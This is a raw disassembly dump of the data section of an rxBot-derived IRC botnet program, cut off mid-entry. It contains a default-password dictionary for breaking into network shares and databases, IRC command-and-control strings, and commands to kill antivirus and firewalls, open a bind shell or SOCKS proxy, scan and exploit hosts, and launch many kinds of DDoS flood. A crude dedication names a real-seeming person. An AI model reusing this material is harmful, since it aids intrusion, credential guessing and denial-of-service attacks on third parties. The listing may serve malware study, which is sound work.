aKatie db 'katie',0 ; DATA XREF: ___:00436F58o align 4 aMary db 'mary',0 ; DATA XREF: ___:00436F5Co align 4 aLogin db 'login',0 ; DATA XREF: ___:00436F60o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00436F64o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00436F68o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00436F6Co align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00436F70o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00436F74o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00436F78o align 4 aSlut db 'slut',0 ; DATA XREF: ___:00436F7Co align 10h aSex db 'sex',0 ; DATA XREF: ___:00436F80o aGod db 'god',0 ; DATA XREF: ___:00436F84o aHell db 'hell',0 ; DATA XREF: ___:00436F88o align 10h aHello db 'hello',0 ; DATA XREF: ___:00436F8Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00436F90o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: ___:00436F94o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00436F98o align 4 aDatabase_0 db 'database',0 ; DATA XREF: ___:00436F9Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00436FA0o align 10h aDbpass db 'dbpass',0 ; DATA XREF: ___:00436FA4o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00436FA8o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00436FACo align 4 aData db 'data',0 ; DATA XREF: ___:00436FB0o align 4 aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00436FB4o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00436FB8o aDb2_0 db 'db2',0 ; DATA XREF: ___:00436FBCo aDb1234 db 'db1234',0 ; DATA XREF: ___:00436FC0o align 10h aSa_0 db 'sa',0 ; DATA XREF: ___:00436FC4o align 4 aSql db 'sql',0 ; DATA XREF: ___:00436FC8o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00436FCCo align 4 aOrainstall db 'orainstall',0 ; DATA XREF: ___:00436FD0o align 4 aOracle_0 db 'oracle',0 ; DATA XREF: ___:00436FD4o align 10h aIbm db 'ibm',0 ; DATA XREF: ___:00436FD8o aCisco db 'cisco',0 ; DATA XREF: ___:00436FDCo align 4 aDell db 'dell',0 ; DATA XREF: ___:00436FE0o align 4 aCompaq db 'compaq',0 ; DATA XREF: ___:00436FE4o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00436FE8o aHp db 'hp',0 ; DATA XREF: ___:00436FECo align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00436FF0o align 10h aXp db 'xp',0 ; DATA XREF: ___:00436FF4o align 4 aControl db 'control',0 ; DATA XREF: ___:00436FF8o aOffice db 'office',0 ; DATA XREF: ___:00436FFCo align 4 aBlank db 'blank',0 ; DATA XREF: ___:00437000o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:00437004o aMain db 'main',0 ; DATA XREF: ___:00437008o align 4 aLan db 'lan',0 ; DATA XREF: ___:0043700Co aInternet_0 db 'internet',0 ; DATA XREF: ___:00437010o align 4 aIntranet db 'intranet',0 ; DATA XREF: ___:00437014o align 4 aStudent_0 db 'student',0 ; DATA XREF: ___:00437018o aTeacher_0 db 'teacher',0 ; DATA XREF: ___:0043701Co aStaff_0 db 'staff',0 ; DATA XREF: ___:00437020o align 10h aSS_6 db '%s%s',0 ; DATA XREF: ___:0040289Co align 4 aSS_7 db '%s\%s',0 ; DATA XREF: ___:00402918o align 10h aSDS_0 db '%s %d "%s"',0 ; DATA XREF: ___:00402A1Eo align 4 dword_4375FC dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00402AF3o dd 2E646574h, 0 unk_437618 db 2Dh ; - ; DATA XREF: ___:00402B2Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 unk_43763C db 2Dh ; - ; DATA XREF: ___:00402B7Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 dword_43767C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00402BACo aServerRunningO db '- Server running on Port: 113.',0 align 4 dword_4376A8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00402BF7o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 unk_4376DC db 2Dh ; - ; DATA XREF: sub_402D58+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402EC0+35o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402EC0+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_437724 db ' :',0 ; DATA XREF: sub_403038+86o align 4 asc_437728: ; DATA XREF: sub_403038+AEo unicode 0, < >,0 asc_43772C: ; DATA XREF: sub_403038:loc_403103o unicode 0, < >,0 asc_437730: ; DATA XREF: sub_403038+191o unicode 0, <!>,0 aPing db 'PING',0 ; DATA XREF: sub_403038+1A0o align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+1BAo align 4 aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+1DBo align 4 a001 db '001',0 ; DATA XREF: sub_403038+1F7o a005 db '005',0 ; DATA XREF: sub_403038+20Co aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+56EDo align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5702o align 10h aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5715o align 10h a302 db '302',0 ; DATA XREF: sub_403038+221o a@: ; DATA XREF: sub_403038+231o unicode 0, <@>,0 a433 db '433',0 ; DATA XREF: sub_403038+25Co aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+284o align 4 aKick db 'KICK',0 ; DATA XREF: sub_403038+2DBo align 10h unk_4377B0 db 2Dh ; - ; DATA XREF: sub_403038+34Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+365o aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3AFo align 10h aNick db 'NICK',0 ; DATA XREF: sub_403038+3C2o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_403038+4E0o align 10h aPart db 'PART',0 ; DATA XREF: sub_403038+505o align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_403038+516o align 10h unk_437810 db 2Dh ; - ; DATA XREF: sub_403038+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_403038+5C2o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5E6o a353 db '353',0 ; DATA XREF: sub_403038+554o unk_437850 db 2Dh ; - ; DATA XREF: sub_403038+585o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_403038+5F1o aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_403038+602o align 10h a332 db '332',0 ; DATA XREF: sub_403038+613o aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: sub_403038+634o aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_403038+649o align 4 aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_403038+7BEo align 4 asc_43789C: ; DATA XREF: sub_403038+7E3o unicode 0, <#>,0 dword_4378A0 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_403038+86Bo dword_4378AC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_403038+896o dd 0D017325h, 0Ah dword_4378C8 dd 4E495001h, 47h ; DATA XREF: sub_403038+8A1o dword_4378D0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_403038+8D2o dd 0A0Dh dword_4378E8 dd 43434401h, 0 ; DATA XREF: sub_403038+690o aSend_3 db 'SEND',0 ; DATA XREF: sub_403038+6AEo align 4 aS_26 db '%s',0 ; DATA XREF: sub_403038+6DBo align 4 aS_27 db '%s',0 ; DATA XREF: sub_403038+6F3o align 10h unk_437900 db 2Dh ; - ; DATA XREF: sub_403038+751o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h unk_437930 db 2Dh ; - ; DATA XREF: sub_403038+8E3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_43796C db 2Dh ; - ; DATA XREF: sub_403038+90Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_403038+92Ao align 4 aS_0 db '%s',0 ; DATA XREF: sub_403038+967o align 4 unk_4379BC db 2Dh ; - ; DATA XREF: sub_403038+9BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 unk_4379DC db 2Dh ; - ; DATA XREF: sub_403038+A2Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_437A14 db 2Dh ; - ; DATA XREF: sub_403038+A3Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_437A44 db 2Dh ; - ; DATA XREF: sub_403038+A4Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 aGogo db 'gogo',0 ; DATA XREF: sub_403038+A72o align 10h aGol db 'gol',0 ; DATA XREF: sub_403038+A8Ao asc_437A84: ; DATA XREF: sub_403038+557Do unicode 0, <!>,0 asc_437A88: ; DATA XREF: sub_403038+559Bo unicode 0, <~>,0 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_403038+55CBo align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_403038+55DFo align 10h unk_437AE0 db 2Dh ; - ; DATA XREF: sub_403038+55EEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_403038+5629o align 4 aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_403038+563Do align 10h unk_437B60 db 2Dh ; - ; DATA XREF: sub_403038+564Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 unk_437B8C db 2Dh ; - ; DATA XREF: sub_403038+56BCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_437BAC db 2Dh ; - ; DATA XREF: sub_403038+56D9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 a332_1 db '332',0 ; DATA XREF: sub_403038+AACo asc_437BD0 db ' :',0 ; DATA XREF: sub_403038:loc_403B3Co align 4 aD db '$%d-',0 ; DATA XREF: sub_403038+B62o align 4 aD_0 db '$%d',0 ; DATA XREF: sub_403038+C26o aMe db '$me',0 ; DATA XREF: sub_403038+C94o aUser_2 db '$user',0 ; DATA XREF: sub_403038+CA6o align 4 aChan db '$chan',0 ; DATA XREF: sub_403038+CB7o align 4 aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_403038+CD3o align 10h aServer_6 db '$server',0 ; DATA XREF: sub_403038+CE4o aChr db '$chr(',0 ; DATA XREF: sub_403038+CEFo align 10h aChr_0 db '$chr(',0 ; DATA XREF: sub_403038+D08o align 4 asc_437C18: ; DATA XREF: sub_403038+D30o unicode 0, <)>,0 a63 db '63',0 ; DATA XREF: sub_403038+D58o align 10h asc_437C20: ; DATA XREF: sub_403038+E30o unicode 0, < >,0 asc_437C24: ; DATA XREF: sub_403038:loc_403E89o unicode 0, < >,0 aRndnick db 'rndnick',0 ; DATA XREF: sub_403038+E8Bo aRn db 'rn',0 ; DATA XREF: sub_403038+EA3o align 4 aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5536o align 10h unk_437C40 db 2Dh ; - ; DATA XREF: sub_403038+554Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 aDie db 'die',0 ; DATA XREF: sub_403038+EB8o aD_1: ; DATA XREF: sub_403038+ECDo unicode 0, <d>,0 a332_2 db '332',0 ; DATA XREF: sub_403038+42CCo aLogout db 'logout',0 ; DATA XREF: sub_403038+EE2o align 4 aLo db 'lo',0 ; DATA XREF: sub_403038+EF7o align 4 unk_437C7C db 2Dh ; - ; DATA XREF: sub_403038+4231o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_437C9C db 2Dh ; - ; DATA XREF: sub_403038+4244o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_437CC8 db 2Dh ; - ; DATA XREF: sub_403038+424Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_437CF4 db 2Dh ; - ; DATA XREF: sub_403038+4288o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 aVersion db 'version',0 ; DATA XREF: sub_403038+F0Co aVer db 'ver',0 ; DATA XREF: sub_403038+F21o dword_437D20 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_403038+41E3o aDedication db 'dedication',0 ; DATA XREF: sub_403038+F36o align 4 aDed db 'ded',0 ; DATA XREF: sub_403038+F4Bo unk_437D40 db 2Dh ; - ; DATA XREF: sub_403038:loc_40720Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h aSpeedtest db 'speedtest',0 ; DATA XREF: sub_403038+F60o align 4 aSt db 'st',0 ; DATA XREF: sub_403038+F75o align 10h aBindshell db 'bindshell',0 ; DATA XREF: sub_403038+F8Ao align 4 aBd db 'bd',0 ; DATA XREF: sub_403038+F9Fo align 10h unk_437E10 db 2Dh ; - ; DATA XREF: sub_403038+4130o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 unk_437E3C db 2Dh ; - ; DATA XREF: sub_403038+41B4o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_0 db ' Failed to start server thread, error: <%d>.',0 align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_403038+FB4o align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_403038+FCDo align 4 dword_437E94 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_403038+FD2o aSocks4 db 'socks4',0 ; DATA XREF: sub_403038+FDDo align 10h aS4 db 's4',0 ; DATA XREF: sub_403038+FF2o align 4 dword_437EB4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_403038+403Fo aServerStarte_0 db '- Server started on: %s:%d.',0 dword_437EDC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_403038+40AEo aFailedToStar_1 db '- Failed to start server thread, error: <%d>.',0 align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_403038+1007o align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_403038+1020o align 4 dword_437F2C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_403038+1025o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_403038+1030o align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_403038+1049o align 10h dword_437F50 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_403038+104Eo aHttpstop db 'httpstop',0 ; DATA XREF: sub_403038+1059o align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_403038+1072o align 4 dword_437F74 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_403038+1077o aLogstop db 'logstop',0 ; DATA XREF: sub_403038+1082o aLogList db 'Log list',0 ; DATA XREF: sub_403038+109Bo align 4 dword_437F98 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_403038+10A0o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_403038+10ABo align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_403038+10C4o align 4 dword_437FC4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_403038+10C9o dword_437FD4 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_403038+10D4o dword_437FE0 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+10EDo dword_437FEC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_403038+10F2o aSynstop db 'synstop',0 ; DATA XREF: sub_403038+10FDo aSynFlood db 'Syn flood',0 ; DATA XREF: sub_403038+1116o align 4 dword_43800C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+111Bo aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_403038+1126o align 4 aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_403038+113Fo align 4 dword_438034 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_403038+1144o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_403038+114Fo align 10h aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_403038+1168o align 10h dword_438060 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_403038+116Do aWonkstop db 'wonkstop',0 ; DATA XREF: sub_403038+1178o align 4 aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_403038+1191o align 4 dword_438088 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_403038+1196o aPacketstop db 'packetstop',0 ; DATA XREF: sub_403038+11A1o align 10h aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_403038+11C2o align 4 dword_4380AC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_403038+11C7o dword_4380B8 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+11E0o dword_4380C4 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+11E5o dword_4380D0 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+1201o dword_4380DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1206o dword_4380E8 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+121Fo dword_4380F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_403038+1224o dword_438100 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_403038+1240o dword_438110 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_403038+1245o dword_438120 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+125Eo dword_43812C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_403038+1263o dword_438138 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+127Fo dword_438148 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_403038+1284o dword_438158 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_403038+129Do dword_438168 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_403038+12A2o dword_438178 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_403038+12BEo dword_438188 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_403038+12C3o unk_438198 db 2Dh ; - ; DATA XREF: sub_403038+12DDo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_403038+12F7o aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_403038+1310o align 4 dword_4381E8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_403038+1315o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_403038+1320o align 4 aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_403038+1339o align 4 dword_438214 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_403038+133Eo aUdpstop db 'udpstop',0 ; DATA XREF: sub_403038+1349o aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_403038+1362o align 4 dword_438238 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1367o aPingstop db 'pingstop',0 ; DATA XREF: sub_403038+1372o align 10h aPingFlood db 'Ping flood',0 ; DATA XREF: sub_403038+138Bo align 4 dword_43825C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_403038+1390o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_403038+139Bo align 4 aServer_4 db 'Server',0 ; DATA XREF: sub_403038+13B4o align 4 dword_43827C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_403038+13B9o aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_403038+13C4o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_403038+13D9o align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_403038+3F70o align 10h dword_4382B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_403038+3F75o aProcsstop db 'procsstop',0 ; DATA XREF: sub_403038+13EEo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_403038+1403o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_403038+3F5Bo align 4 dword_4382E4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_403038+3F60o aClonestop db 'clonestop',0 ; DATA XREF: sub_403038+1418o align 10h aClone db 'Clone',0 ; DATA XREF: sub_403038+1431o align 4 dword_438308 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_403038+1436o aSecurestop db 'securestop',0 ; DATA XREF: sub_403038+1441o align 4 aSecure db 'Secure',0 ; DATA XREF: sub_403038+145Ao align 4 dword_43832C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_403038+145Fo aScanstop db 'scanstop',0 ; DATA XREF: sub_403038+146Ao align 4 aScan_0 db 'Scan',0 ; DATA XREF: sub_403038+1483o align 10h dword_438350 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_403038+1488o aScanstats db 'scanstats',0 ; DATA XREF: sub_403038+1493o align 4 aStats db 'stats',0 ; DATA XREF: sub_403038+14A8o align 10h aTransferstats db 'transferstats',0 ; DATA XREF: sub_403038+14BDo align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_403038+14D2o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_403038+14E7o aExplist db 'explist',0 ; DATA XREF: sub_403038+14FCo aReconnectt db 'reconnectt',0 ; DATA XREF: sub_403038+1511o align 4 aR: ; DATA XREF: sub_403038+1526o unicode 0, <r>,0 aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F29o align 4 dword_4383C4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_403038+3EFEo dd 676E6974h, 2Eh aDisconnectt db 'disconnectt',0 ; DATA XREF: sub_403038+153Bo aDc db 'dc',0 ; DATA XREF: sub_403038+1550o align 10h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F07o align 4 dword_438408 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_403038+3EDCo dd 6E697463h, 2E67h aQuit_0 db 'quit',0 ; DATA XREF: sub_403038+1565o align 4 aQ: ; DATA XREF: sub_403038+157Ao unicode 0, <q>,0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3EA7o align 4 aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406EF1o align 4 aStatus db 'status',0 ; DATA XREF: sub_403038+158Fo align 4 aS_1: ; DATA XREF: sub_403038+15A4o unicode 0, <s>,0 unk_438458 db 2Dh ; - ; DATA XREF: sub_403038+3E5Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 aId db 'id',0 ; DATA XREF: sub_403038+15B9o align 4 aI: ; DATA XREF: sub_403038+15CEo unicode 0, <i>,0 dword_43848C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_403038+3E1Do dd 2E7325h aReboot db 'reboot',0 ; DATA XREF: sub_403038+15E3o align 4 unk_4384AC db 2Dh ; - ; DATA XREF: sub_403038+15FAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 unk_4384CC db 2Dh ; - ; DATA XREF: sub_403038+1601o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 aThreads db 'threads',0 ; DATA XREF: sub_403038+1635o aT: ; DATA XREF: sub_403038+164Ao unicode 0, <t>,0 aSub db 'sub',0 ; DATA XREF: sub_403038+3D64o dword_438504 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_403038+3D8Ao dd 65726874h, 2E736461h, 0 unk_438524 db 2Dh ; - ; DATA XREF: sub_403038+3DF9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStartL db '- Failed to start list thread, error: <%d>.',0 align 10h aAliases db 'aliases',0 ; DATA XREF: sub_403038+165Fo aAl db 'al',0 ; DATA XREF: sub_403038+1674o align 4 dword_43856C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_403038+3D15o dd 2E7473h dword_438584 dd 676F6Ch ; DATA XREF: sub_403038+1689o dword_438588 dd 676Ch ; DATA XREF: sub_403038+169Eo dword_43858C dd 7325h ; DATA XREF: sub_403038+3C3Ao dword_438590 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_403038+3C6Do dd 2E676Fh unk_4385A8 db 2Dh ; - ; DATA XREF: sub_403038+3CFAo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_2 db '- Failed to start listing thread, error: <%d>.',0 aClearlog db 'clearlog',0 ; DATA XREF: sub_403038+16B3o align 4 aClg db 'clg',0 ; DATA XREF: sub_403038+16C8o aNetinfo db 'netinfo',0 ; DATA XREF: sub_403038+16DDo aNi db 'ni',0 ; DATA XREF: sub_403038+16F2o align 4 dword_4385FC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_403038+3BE9o dd 6F666E49h, 2Eh aSysinfo db 'sysinfo',0 ; DATA XREF: sub_403038+1707o aSi db 'si',0 ; DATA XREF: sub_403038+171Co align 4 dword_438624 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_403038+3BBAo dd 2E6F666Eh, 0 aBaybayman db 'baybayman',0 ; DATA XREF: 